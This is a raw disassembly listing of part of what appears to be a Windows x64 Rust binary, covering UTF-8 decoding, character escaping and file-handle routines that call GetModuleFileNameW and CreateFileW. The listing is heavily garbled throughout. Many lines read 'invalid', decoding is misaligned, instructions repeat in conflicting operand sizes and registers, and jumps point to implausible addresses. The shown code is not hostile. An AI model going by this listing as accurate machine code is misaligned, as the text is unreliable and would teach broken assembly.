and al, 0x88
add byte [rax], al
add byte [rbp + 1], cl
ror dword [rcx + rcx*4 + 0x44], 0x24
invalid
mov qword [rsp + 0x98], r9
mov dword [rsp + 0x98], ecx
invalid
xchg esp, eax
and al, 0x90
nop
nop
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rcx*4], fs
and al, 0x88
and al, 0x88
add byte [rax], al
add byte [rbp + 1], cl
ror dword [rcx + rcx*4 + 0x44], 0x24
invalid
mov dword [rsp + 0x98], ecx
and al, 0x98
add byte [rax], al
add byte [rcx + rcx*4 + 0x4c], cl
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x68], r9
mov byte [rsp + 0x70], 0x81
mov byte [rsp + 0x7c], 0x81
invalid
and al, 0x70
add esi, 0x817c2444
invalid
add dword [rcx - 0x4b], 0x6f0f6681
mov r13b, 0x81
movdqa xmm6, xmmword [0x1400a9610]
xor eax, 0x2d4e7
xor eax, 0x2d4e7
movdqa xmm7, xmmword [0x1400a9620]
outsd dx, dword [rsi]
cmp eax, 0x2d4ef
add al, byte [rax]
add al, byte [rax]
movdqa xmm8, xmmword [0x1400a9630]
movq mm0, qword [0x1400a9630]
not ah
add al, byte [rax]
invalid
add byte [rax - 0x77], cl
and al, 0x58
and al, 0x58
mov qword [rsp + 0x58], rax
and al, 0x58
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
mov eax, ebx
movzx ebx, word [rsp + 0x58]
mov bh, 0x5c
and al, 0x58
shl rbx, 0x30
movzx ebp, word [rsp + 0x50]
and al, 0x50
xor byte [rdi], cl
mov bh, 0x6c
and al, 0x50
jmp 0x14007c1ba
lea rax, fs:[0x1400d0f25]
lea rax, [0x1400d0f25]
enter 0x54d, 0
add byte [rax - 0x77], cl
and al, 0x28
and al, 0x28
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x30], 0x12f
mov qword [rsp + 0x20], 0x11f
and al, 0x20
invalid
add dword [rax], eax
add byte [rcx - 0x48], al
mov eax, 0x28
invalid
and al, 0x20
invalid
mov eax, 0x28
mov ecx, r13d
lea rdx, [0x1400d0db6]
add byte [rbp + rcx*4 + 0xd], cl
jnp 0x14007c1d5
invalid
invalid
jmp 0x1721d4ec9
add byte [rbp + rcx*4 + 0xd], cl
jnp 0x14007c1d5
or eax, 0x54c7b
add eax, 0x4ae0e800
add al, ch
loopne 0x14007c1d8
call fcn.140040c70
test al, al
ror byte [rdi], 0x84
invalid
add dword [rax], eax
invalid
cld
inc dword [rax + rax*8 + 0x1e8840f]
ror byte [rdi], 0x84
invalid
add dword [rax], eax
invalid
ror byte [rdi], 0x84
call 0x18807c19a
shl rsi, 0x10
shl rsi, 0x10
mov r15, rbx
or r15, rbp
or r15, rsi
mov r13b, 0x80
mov ch, 0x80
mov ch, 0x80
movzx eax, byte [rsp + 0x4f]
mov esi, eax
movzx eax, byte [rsp + 0x4e]
mov r12d, eax
mov eax, r14d
cmp r13b, 0x81
cmp ch, 0x81
je 0x14007c1d3
cmp r13b, 0x80
je 0x14007c4f0
invalid
std
or byte [rdi], 0x84
add eax, dword es:[rax]
add byte [rax + rdi - 0x20], al
cmp al, r12b
jb 0x14007c520
add eax, dword [rax]
add byte [rax - 0x7b], cl
test rdi, rdi
je 0x14007c566
invalid
mov al, byte [rbx]
add byte [rax], al
dec dword [rdi]
test byte [rdx + 0x48000003], cl
cmp edi, dword [rsp + 0x98]
mov esp, 0x9824
invalid
mov al, byte [rbx]
add byte [rax], al
cmp rdi, qword [rsp + 0x98]
mov esp, 0x9824
add byte [rdi], cl
je 0x14007c566
test byte [rbx + rax], bh
add byte [rdi], cl
mov dh, 0x17
invalid
movzx edx, byte [rdi]
invalid
movzx r13d, dl
test r13b, r13b
in eax, dx
in eax, dx
js 0x14007c200
inc rdi
jmp 0x14007c270
invalid
jne 0x14007c20b
invalid
mov eax, r13d
mov eax, ebp
and eax, 0x1f
movzx r8d, byte [rdi + 1]
mov dh, 0x47
invalid
mov dh, 0x47
add dword [rcx - 0x7d], eax
loopne 0x14007c24e
and r8d, 0x3f
cmp r13b, 0xdf
jbe 0x14007c253
movzx ecx, byte [rdi + 2]
shl r8d, 6
mov dh, 0x4f
add al, byte [rcx - 0x3f]
loopne 0x14007c223
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x14007c262
cli
invalid
movzx r13d, byte [rdi + 3]
and eax, 7
shl eax, 0x12
adc al, cl
loope 0x14007c23c
outsd dx, dword [rsi]
add eax, dword [rbx - 0x1f3ef820]
adc al, cl
loope 0x14007c23c
and r13d, 0x3f
or r13d, ecx
or r13d, eax
invalid
int 0x41
or ebp, eax
cmp r13d, 0x110000
je 0x14007c566
add rdi, 4
add edi, 4
jmp 0x14007c270
add rdi, 2
shl eax, 6
invalid
or eax, r8d
mov r13d, eax
jmp 0x14007c270
invalid
add rdi, 3
shl eax, 0xc
or ecx, eax
mov r13d, ecx
mov dword [rbx], 0x90ce0c1
rol dword [rcx - 0x77], 0xcd
nop
nop
mov esi, r13d
cmp r13d, 0x27
std
invalid
ja case.0x140078b44.160
std
invalid
lea rcx, [0x1400e7d5c]
lea ecx, [0x1400e7d5c]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
add byte [rax], 0
add byte [rax], al
cmp r13d, 0x5c
cmp ebp, 0x5c
je 0x14007c4d4
cmp al, byte [rdx]
add byte [rax], al
mov ecx, r13d
call fcn.140040b30
inc dword [rax + rax*8 + 0xd6850f]
add byte [rax], al
jmp 0x13c505189
inc dword [rax + rax*8 + 0xd6850f]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], al
cmp r13d, 0x20
jb 0x14007c380
std
and byte [rdi], cl
invalid
add byte [rax], al
cmp r13d, 0x7f
jb case.0x14002753a.1289
inc dword [rcx - 0x7f]
std
add byte [rax], al
cmp r13d, 0x10000
add dword [rax], eax
jb case.0x140079dc4.82
invalid
cmp r13d, 0x20000
add byte [rax], al
add al, byte [rax]
jae 0x14007c30e
lea rax, [0x1400d0bf4]
mov qword [rsp + 0x28], rax
add eax, 0x44894800
and al, 0x28
mov qword [rsp + 0x30], 0x1c2
mov qword [rsp + 0x20], 0xc4
mov r8d, 0x2c
mov ecx, r13d
mov ecx, ebp
xor dl, al
add dword [rax], eax
add byte [rax - 0x39], cl
and al, 0x20
invalid
mov ecx, ebp
lea rdx, [0x1400d0ad8]
lea r9, str._f__NO
or eax, 0x54827
or eax, 0x54827
jmp 0x14007c18b
lea eax, [r13 - 0xe01f0]
lea eax, [rbp - 0xe01f0]
adc dh, bh
int1
invalid
cmp eax, 0x2fe10
jb 0x14007c380
movd xmm0, r13d
pshufd xmm0, xmm0, 0
add byte [rsi + 0xf], ah
inc dh
invalid
add byte [rsi + 0xf], ah
inc dh
invalid
paddd mm0, mm6
invalid
pxor xmm0, xmm7
movdqa xmm1, xmm8
movq mm1, mm0
movq mm1, mm0
enter 0xf66, 0x66
enter 0x500f, 0xffffffffffffffc1
pcmpgtd xmm1, xmm0
pcmpgtd mm1, mm0
movmskps eax, xmm1
test al, al
jne 0x14007c380
invalid
lea eax, [r13 - 0x3134b]
lea eax, [r13 - 0x3134b]
lea eax, [rbp - 0x3134b]
cmp eax, 5
jb 0x14007c380
lea eax, [r13 - 0x323b0]
cmp eax, 0xadd50
add byte [rdx + 0x28], dh
add byte [rdx + 0x28], dh
mov eax, r13d
and eax, 0xffffffe0
cmp eax, 0x2a6e0
cmpsb byte [rsi], byte [rdi]
add al, byte [rax]
invalid
cmpsb byte [rsi], byte [rdi]
add al, byte [rax]
invalid
je 0x14007c380
mov byte [rsp + 0x46], 0
mov word [rsp + 0x44], 0
add byte [rax], r8b
mov byte [rsp + 0x4d], 0x7d
mov eax, r13d
shr eax, 0x14
lea rcx, [0x1400df543]
or eax, 0x631a5
or eax, 0x631a5
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x47], al
mov eax, r13d
shr eax, 0x10
call 0x14fe846bf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x48], al
and al, 0x48
mov eax, r13d
shr eax, 0xc
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x49], al
mov eax, r13d
shr eax, 8
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x4a], al
mov eax, r13d
shr eax, 4
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x4b], al
mov eax, r13d
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x4c], al
or r13d, 1
bsr ecx, r13d
xor ecx, 0x1c
shr ecx, 2
lea rax, [rcx - 2]
mov byte [rsp + rcx + 0x44], 0x7b
mov word [rsp + rcx + 0x42], 0x755c
movzx r13d, word [rsp + 0x44]
mov r9, qword [rsp + 0x46]
mov esi, r13d
shr esi, 8
mov rcx, r9
and rcx, 0xffffffffffff0000
mov r8, r9
shr r8, 0x30
mov r12b, 0xa
jmp 0x14007c48a
xor ecx, ecx
xor r9d, r9d
xor eax, eax
movabs rdx, 0xffffffff0000
and rcx, rdx
mov qword [rsp + 0x58], r8
movzx edx, r8w
shl rdx, 0x30
or rdx, rcx
mov qword [rsp + 0x50], r9
movzx r15d, r9w
or r15, rdx
mov ecx, esi
mov byte [rsp + 0x4f], sil
mov ecx, r12d
mov byte [rsp + 0x4e], r12b
mov r14d, eax
cmp r13b, 0x81
jne 0x14007c146
jmp 0x14007c566
mov r12b, 2
mov sil, 0x5c
xor r8d, r8d
mov r13b, 0x5c
jmp 0x14007c483
shr r15, 0x10
mov edx, r15d
lea rax, [rsp + 0x70]
mov dword [rax + 8], 0
mov qword [rax], 0
xor r15d, r15d
xor esi, esi
xor r12d, r12d
xor ebx, ebx
xor r13d, r13d
jmp 0x14007c547
mov byte [rsp + 0x7b], r12b
mov byte [rsp + 0x70], r13b
mov byte [rsp + 0x71], sil
mov qword [rsp + 0x72], r15
lea ebx, [rax + 1]
mov byte [rsp + 0x7a], bl
movzx ecx, al
cmp al, 0xa
jae 0x14007c595
movzx edx, byte [rsp + rcx + 0x70]
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
call qword [rax + 0x20]
test al, al
je case.0x14002753a.1277
mov al, 1
jmp 0x14007c568
xor eax, eax
movaps xmm6, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm8, xmmword [rsp + 0xc0]
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_srcescape.rs
mov edx, 0xa
call fcn.1400a4430
ud2
jae 0x14007ca91
cmp r8, 0x201
jae 0x14007c9d0
mov r15d, 0x200
lea r12, [rbp - 0x58]
mov r13, r8
jmp 0x14007ca28
sub r8, r14
sub rbx, r14
cmp rbx, r8
jae 0x14007c9ff
lea rcx, [rbp + 0x3c8]
mov rdx, r14
call fcn.1400a3250
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3e8], rax
mov rdi, qword [rbp + 0x3d0]
mov eax, 0xffffffff
cmp rdi, rax
mov r14d, 0xffffffff
cmovb r14, rdi
mov qword [rbp + 0x3d8], r14
fadd dword [rbx]
add byte [rax], al
fadd dword [rbx]
add byte [rax], al
mov rbx, rdi
mov r15, r14
mov r12, qword [rbp + 0x3e8]
mov r13, r14
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
xor ecx, ecx
mov rdx, r12
mov r8d, r13d
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
mov esi, eax
test eax, eax
jne 0x14007ca52
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x14007caf5
mov r8d, esi
cmp r13, r8
jne 0x14007c9b0
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14007cb18
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
cmovae r13, rax
mov r8, r13
cmp r8, 0x201
jb 0x14007c9bf
jmp 0x14007c9d0
cmp r15, r8
jb 0x14007cb32
lea rcx, [rbp + 0x3a8]
mov rdx, r12
call fcn.1400792e0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
add eax, dword [rax]
add byte [rax - 0x75], cl
test eax, esp
add eax, dword [rax]
add byte [rdi], cl
adc dword [rax + 0x10], ecx
add eax, dword [rax]
add byte [rax - 0x75], cl
test eax, esp
add eax, dword [rax]
add byte [rdi], cl
adc dword [rax + 0x10], ecx
movups xmmword [rax], xmm0
test rdi, rdi
je 0x14007cae0
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x3e8]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, ecx
add al, byte [rax]
enter 2, 0x48
shl eax, 0x20
shl rax, 0x20
or rax, 2
mov rcx, qword [rbp + 0x3e0]
mov qword [rcx], rax
mov byte [rcx + 0x18], 2
test rdi, rdi
jne 0x14007caca
jmp 0x14007cae0
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400a4530
jmp 0x14007cb47
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
add byte [rcx + rcx*4 - 0x3f], cl
mov rdx, r15
mov r8, rax
call fcn.1400a44b0
ud2
int3
cmp r8b, 0xa0
jne 0x14007cbff
xor ebp, ebp
cmp byte [rbx + rcx - 3], 0xed
jne 0x14007cbff
movzx ebp, byte [rbx + rcx - 1]
and edx, 0x1f
and ebp, 0x3f
shl edx, 0x10
shl ebp, 0xa
or ebp, edx
mov al, 1
cmp r14, 3
jb 0x14007ccb9
cmp byte [rdi], 0xed
jne 0x14007ccc2
movzx r12d, byte [rdi + 1]
mov edx, r12d
and dl, 0xf0
cmp dl, 0xb0
jne 0x14007ccc2
test r14, r14
je 0x14007cd4e
lea rax, [rdi + r14]
mov r8, rdi
jmp 0x14007cce8
mov rax, qword [rsi + 8]
sub rax, rbx
cmp rax, r14
jb 0x14007cd80
mov al, 1
cmp byte [rdi + 0x25], 0
jne 0x14007cf64
movabs r14, 0x5700000002
test r15, r15
jne 0x14007cfdc
jmp 0x14007cfee
add byte [rax], al
add byte [rax - 0x658b367c], al
cmp byte [rdi + 0x24], 0
jne 0x14007cebf
cmp byte [rdi + 0x25], 0
jne 0x14007cebf
xor eax, eax
jmp 0x14007cf64
test dword [rbx + rcx*4 + 0x47], eax
sbb byte [rbx + rcx*4 + 0x4f], cl
or byte [rdx + 0x120114], bh
cmp byte [rdi + 0x23], 0
jne 0x14007ceb3
invalid
invalid
invalid
jmp 0x14007cf31
add byte [rax], al
mov r8d, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
mov ecx, dword [rdi + 8]
or byte [rdi], cl
mov dh, 0x47
and eax, dword [rax + 0xf00247f]
mov dh, 0x4f
movzx eax, byte [rdi + 0x23]
cmp byte [rdi + 0x24], 0
movzx ecx, byte [rdi + 0x25]
invalid
je 0x14007cf87
and eax, 0x31451974
rol byte [rax + rax*8 - 0x7b3f6bf1], cl
test al, al
sete al
test cl, cl
xor r10d, r10d
test al, al
sete al
test cl, cl
jne 0x14007cf97
sbb eax, 0x42c28841
lea eax, [rdx*2 + 2]
mov r10b, al
mov dl, al
lea eax, [r10*2 + 2]
jmp 0x14007cf9c
xor r10d, r10d
test al, al
setne al
test cl, cl
je 0x14007d01e
add byte [rax], al
add byte [rax], al
mov eax, 1
mov r10d, dword [rdi + 0x14]
movzx ecx, cl
or r10d, dword [rdi + 0x10]
shl ecx, 0x15
or r10d, dword [rdi + 0x1c]
or edx, dword [rdi + 0x1c]
or r10d, ecx
mov dword [rsp + 0x28], r10d
push rsp
and al, 0x28
push rsp
and al, 0x28
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
and al, 0x30
add byte [rax], al
add byte [rax], al
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CreateFileW]
adc eax, 0x2c1ec
adc eax, 0x2c1ec
cmp rax, 0xffffffffffffffff
je 0x14007d001
mov r14, rax
xor ebx, ebx
test r15, r15
je 0x14007cfee
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
add byte [rax - 0x77], cl
fmul dword [rcx + rcx*4 - 0xe]
mov rax, rbx
mov eax, ebx
mov rdx, r14
add rsp, 0x68
pop rbx
invalid
pop rbp
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
pop rdi
ret
call qword [sym.imp.kernel32.dll_GetLastError]
ret
mov r14d, eax
shl r14, 0x20
shl esi, 0x20
shl esi, 0x20
or r14, 2
add bh, byte [rbx + 1]
mov ebx, 1
add dword [rax], eax
add byte [rax], al
test r15, r15
jne 0x14007cfdc
push qword [rbp - 0x40]
jmp 0x14007cfee
mov r10b, al
mov dl, al
ret 0x8d42
lea eax, [r10*2 + 3]
add byte [rax], al
jmp 0x14007cf9c
invalid
int3
int3
push 0x48d78948
mov esi, ecx
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
push rax
push rax
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
sub dword [rsp + 0x30], eax
mov dword [rsp + 0x60], 0
lea rdx, [rsp + 0x30]
push rsp
and al, 0x30
invalid
push rsp
and al, 0x30
mov rcx, rdi
call sub.kernel32.dll_GetFileInformationByHandle
sal dword [rdx], 1
add al, byte [rax]
sal dword [rdx], 1
add al, byte [rax]
test eax, eax
je 0x14007d119
invalid
scasb al, byte [rdi]
add byte [rax], al
invalid
test byte [rsi - 0x75000000], ch
and al, 0x30
and al, 0x30
mov ecx, dword [rsp + 0x30]
and al, 0x30
xor eax, eax
test ecx, 0x400
add al, 0
invalid
je 0x14007d0b1
add al, 0
add byte [rax + rdi + 0x48], dh
mov dword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
invalid
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
invalid
lea r8, [rsp + 0x28]
mov rcx, rdi
stc
stc
mov edx, 9
mov r9d, 8
mov ecx, 8
call qword [sym.imp.kernel32.dll_GetFileInformationByHandleEx]
adc eax, 0x2c12d
sub eax, 0x850002c1
sal byte [rdx + rdi*2 - 0x75], 0x44
je 0x14007d119
mov eax, dword [rsp + 0x28]
test eax, eax
je 0x14007d119
jp case.0x140079f04.116
mov eax, dword [rsp + 0x28]
shl eax, 0x15
loopne 0x14007d0bb
adc eax, 0x231ff8c1
and al, 0x2c
and al, 0x2c
sar eax, 0x1f
and eax, dword [rsp + 0x2c]
and al, 0x2c
clc
invalid
and al, 0x2c
sub al, 0x8b
mov ecx, dword [rsp + 0x30]
and al, 0x30
mov edx, dword [rsp + 0x54]
push rsp
and al, 0x54
mov r8d, dword [rsp + 0x4c]
mov r9d, dword [rsp + 0x50]
mov r9d, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
and al, 0x50
shl r9, 0x20
shl ecx, 0x20
loope case.0x140079dc4.138
or r9, rdx
mov edx, dword [rsp + 0x58]
push rsp
and al, 0x58
mov r10d, dword [rsp + 0x60]
and al, 0x60
invalid
mov r11d, dword [rsp + 0x5c]
pop rsp
and al, 0x5c
shl r11, 0x20
shl ebx, 0x20
jrcxz case.0x140079dc4.141
or r11, r10
mov qword [rsi], 1
mov dword [rsi], 1
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x5e], cl
invalid
invalid
pop rsi
mov qword [rsi + 8], r11
mov dword [rsi + 8], ebx
pop rsi
or bh, al
adc byte [rcx], r8b
invalid
mov dword [rsi + 0x10], 1
add dword [rax], eax
add byte [rax], al
add byte [rcx + rcx*4 + 0x46], al
invalid
invalid
invalid
add byte [rax], al
mov dword [rsi + 0x14], r8d
adc al, 0xc7
mov dword [rsi + 0x18], 1
sbb byte [rcx], r8b
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx + 0x100f1c56], cl
and al, 0x34
and al, 0x34
mov dword [rsi + 0x1c], edx
push rsi
sbb al, 0xf
movups xmm0, xmmword [rsp + 0x34]
movups xmm0, xmmword [rsp + 0x34]
and al, 0x34
xor al, 0xf
adc dword [rsi + 0x20], eax
invalid
invalid
movups xmmword [rsi + 0x20], xmm0
and byte [rax - 0x75], r9b
mov rdx, qword [rsp + 0x44]
mov edx, dword [rsp + 0x44]
push rsp
and al, 0x44
mov qword [rsi + 0x30], rdx
xor byte [rcx + rcx*4 + 0x4e], cl
mov qword [rsi + 0x38], r9
mov dword [rsi + 0x38], ecx
cmp byte [rcx + 0x4689404e], cl
mov dword [rsi + 0x40], ecx
mov dword [rsi + 0x44], eax
mov dword [rsi + 0x44], eax
jmp case.0x14007a34e.121
jmp case.0x14007a34e.121
jmp case.0x14007a34e.121
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x2c261
invalid
ret 2
add byte [rax - 0x3f], cl
shl rax, 0x20
loopne 0x14007d143
and byte [rax - 0x7d], cl
or rax, 2
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
enter 0x4802, 0xffffffffffffff89
mov dword [rsi + 8], eax
or byte [rax - 0x39], r9b
or byte [rax - 0x39], cl
mov qword [rsi], 2
mov dword [rsi], 2
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x68
add esp, 0x68
pop rdi
pop rsi
ret
int3
int3
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
in al, dx
pop rax
lea rbp, [rsp + 0x50]
and al, 0x50
push rax
mov qword [rbp], 0xfffffffffffffffe
mov rdi, rdx
mov edi, edx
add r14b, r15b
invalid
invalid
dec dword [rax - 0x77]
xlatb
mov edi, edx
mov rdx, qword [rdx + 8]
mov edx, dword [rdx + 8]
push rdx
or byte [rax - 0x75], cl
mov rsi, qword [rdi + 0x10]
mov rsi, qword [rdi + 0x10]
mov esi, dword [rdi + 0x10]
mov r9, rdx
mov ecx, edx
sub r9, rsi
sub ecx, esi
jb case.0x14002753a.1333
invalid
invalid
add byte [rax - 0x77], cl
mov rax, rcx
enter 0xffffffffffff8b4c, 7
mov r8, qword [rdi]
mov eax, dword [rdi]
add r8, rsi
lea rcx, [rbp - 0x28]
lea ecx, [rbp - 0x28]
mov rdx, rax
call fcn.14007d670
out dx, eax
add al, 0
invalid
add byte [rax - 0x7d], cl
cmp qword [rbp - 0x28], 0
jge case.0x140079f04.146
fadd dword [rax]
add byte [rdi + rbx + 0x48], dh
mov edi, dword [rbp - 0x20]
jge case.0x14007ba54.101
je case.default.0x14007d19f
invalid
mov rdi, qword [rbp - 0x20]
jge case.0x14007ba54.101
loopne case.0x14007a34e.117
mov ebx, edi
sti
and ebx, 3
lea rax, [0x1400e7dfc]
lea eax, [0x1400e7dfc]
lodsb al, byte [rsi]
invalid
movsxd rcx, dword [rax + rbx*4]
invalid
add rcx, rax
add ecx, eax
jmp rcx
loope case.0x140079f04.158
movzx eax, byte [rdi + 0x10]
jmp 0x14007d1fb
push rsp
mov dh, 0x47
adc r11b, r13b
adc bl, ch
push rsp
add rsi, qword [rbp - 0x20]
jne case.0x140079dc4.162
loopne 0x14007d1f4
mov qword [rdi + 0x10], rsi
mov dword [rdi + 0x10], esi
ja 0x14007d1bf
mov rax, qword [rdi + 0x18]
mov eax, dword [rdi + 0x18]
sbb byte [r8 + 0x39], r9b
invalid
cmp rax, rsi
cmp eax, esi
cmova rsi, rax
cmova esi, eax
invalid
invalid
mov qword [rdi + 0x18], rsi
mov dword [rdi + 0x18], esi
xor esi, esi
jmp 0x14007d270
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdi
mov rcx, rdi
shr rcx, 0x20
shr ecx, 0x20
and al, ch
invalid
call fcn.140077f60
jmp 0x14007d1fb
invalid
invalid
sub byte [rax - 0x77], cl
mov rax, rdi
clc
shr rax, 0x20
cmp eax, 0x28
sub byte [rdi], cl
invalid
cdq
add byte [rax], al
invalid
and byte [rbx - 0x78f0d708], al
cdq
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1400e7e0c]
add byte [rax], al
lea rcx, [0x1400e7e0c]
and ch, byte [rsi + rax + 0x4634800]
or dword [rax + 1], 0x31e0ffc8
add rax, rcx
jmp rax
invalid
lodsb al, byte [rsi]
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor eax, eax
shr bl, 4
jmp 0x14007d1fb
movzx eax, byte [rdi + 0xf]
xor esi, esi
idiv byte [rbx + rcx]
cmp al, 0xb
cmovne rsi, rdi
jne 0x14007d270
lea rax, [rbx - 2]
cmp rax, 2
cmp eax, 2
cmp eax, 2
jb 0x14007d270
test rbx, rbx
je 0x14007d270
invalid
mov qword [rbp - 0x18], rax
mov rcx, qword [rdi - 1]
dec dword [rax - 0x75]
invalid
invalid
dec dword [rax - 0x75]
invalid
mov eax, dword [rdi + 7]
mov qword [rbp - 8], rcx
clc
mov qword [rbp - 0x10], rax
call qword [rax]
adc byte [rax - 0x75], cl
invalid
invalid
adc byte [rax - 0x75], cl
invalid
mov eax, dword [rbp - 0x10]
cmp qword [rax + 8], 0
js 0x14007d23e
or byte [rax], al
je case.0x14007a1a1.158
cmp qword [rax + 0x10], 0x11
jae 0x14007d246
js 0x14007d24d
mov r8, qword [rbp - 8]
clc
jmp case.0x14007ba54.131
or byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp - 8]
clc
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
or eax, 0x72fcb
retf
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp - 0x18]
call 0x100c7e86d
adc eax, 0x2c0c0
ror byte [rbx + rcx*4 + 0x45], cl
call 0x100c7e86d
adc eax, 0x2c0c0
adc eax, 0x2c0c0
rol al, 2
add byte [rax - 0x77], cl
mov rax, rsi
invalid
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
invalid
invalid
mov al, 1
jmp 0x14007d1fb
invalid
invalid
invalid
invalid
invalid
mov al, 2
jmp 0x14007d1fb
invalid
invalid
invalid
invalid
invalid
mov al, 3
jmp 0x14007d1fb
invalid
invalid
invalid
invalid
invalid
mov al, 4
jmp 0x14007d1fb
pop rsp
invalid
invalid
invalid
pop rsp
invalid
invalid
mov al, 5
jmp 0x14007d1fb
push rbp
invalid
invalid
invalid
push rbp
invalid
invalid
mov al, 6
jmp 0x14007d1fb
invalid
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 7
jmp 0x14007d1fb
invalid
invalid
invalid
mov al, 8
jmp 0x14007d1fb
invalid
invalid
invalid
mov al, 9
jmp 0x14007d1fb
cmp edi, edi
invalid
invalid
cmp edi, edi
invalid
invalid
mov al, 0xa
jmp 0x14007d1fb
xor bh, bh
invalid
invalid
xor bh, bh
invalid
invalid
mov al, 0xb
jmp 0x14007d1fb
sub edi, edi
invalid
invalid
or ebp, ecx
sub edi, edi
invalid
invalid
mov al, 0xc
jmp 0x14007d1fb
and al, 0xff
invalid
invalid
and al, 0xff
invalid
invalid
mov al, 0xd
jmp 0x14007d1fb
invalid
invalid
invalid
invalid
sbb eax, 0xb0ffffff
invalid
invalid
invalid
mov al, 0xe
jmp 0x14007d1fb
invalid
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 0xf
jmp 0x14007d1fb
ud0
invalid
invalid
ud0
invalid
invalid
mov al, 0x10
jmp 0x14007d1fb
or bh, bh
invalid
invalid
or bh, bh
invalid
invalid
mov al, 0x11
jmp 0x14007d1fb
add edi, edi
invalid
invalid
add edi, edi
invalid
invalid
mov al, 0x12
jmp 0x14007d1fb
cli
invalid
invalid
invalid
cli
invalid
invalid
mov al, 0x13
jmp 0x14007d1fb
invalid
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 0x14
jmp 0x14007d1fb
in al, dx
invalid
invalid
invalid
in al, dx
invalid
invalid
mov al, 0x15
jmp 0x14007d1fb
in eax, 0xfe
invalid
invalid
in eax, 0xfe
invalid
invalid
mov al, 0x16
jmp 0x14007d1fb
fdivp st(6)
invalid
invalid
fdivp st(6)
invalid
invalid
mov al, 0x17
jmp 0x14007d1fb
xlatb
invalid
invalid
invalid
xlatb
invalid
invalid
mov al, 0x18
jmp 0x14007d1fb
sar dh, 1
invalid
invalid
sar dh, 1
invalid
invalid
mov al, 0x19
jmp 0x14007d1fb
leave
invalid
invalid
mov al, 0x1a
jmp 0x14007d1fb
ret 0xfffe
invalid
ret 0xfffe
invalid
invalid
mov al, 0x1b
jmp 0x14007d1fb
invalid
invalid
invalid
invalid
mov ebx, 0xb0fffffe
sbb al, 0xe9
invalid
invalid
invalid
mov al, 0x1c
jmp 0x14007d1fb
mov ah, 0xfe
invalid
invalid
mov al, 0x1d
jmp 0x14007d1fb
lodsd eax, dword [rsi]
invalid
invalid
mov al, 0x1e
jmp 0x14007d1fb
cmpsb byte [rsi], byte [rdi]
invalid
invalid
invalid
cmpsb byte [rsi], byte [rdi]
invalid
invalid
mov al, 0x1f
jmp 0x14007d1fb
lahf
invalid
invalid
invalid
lahf
invalid
invalid
mov al, 0x20
jmp 0x14007d1fb
cwde
invalid
invalid
invalid
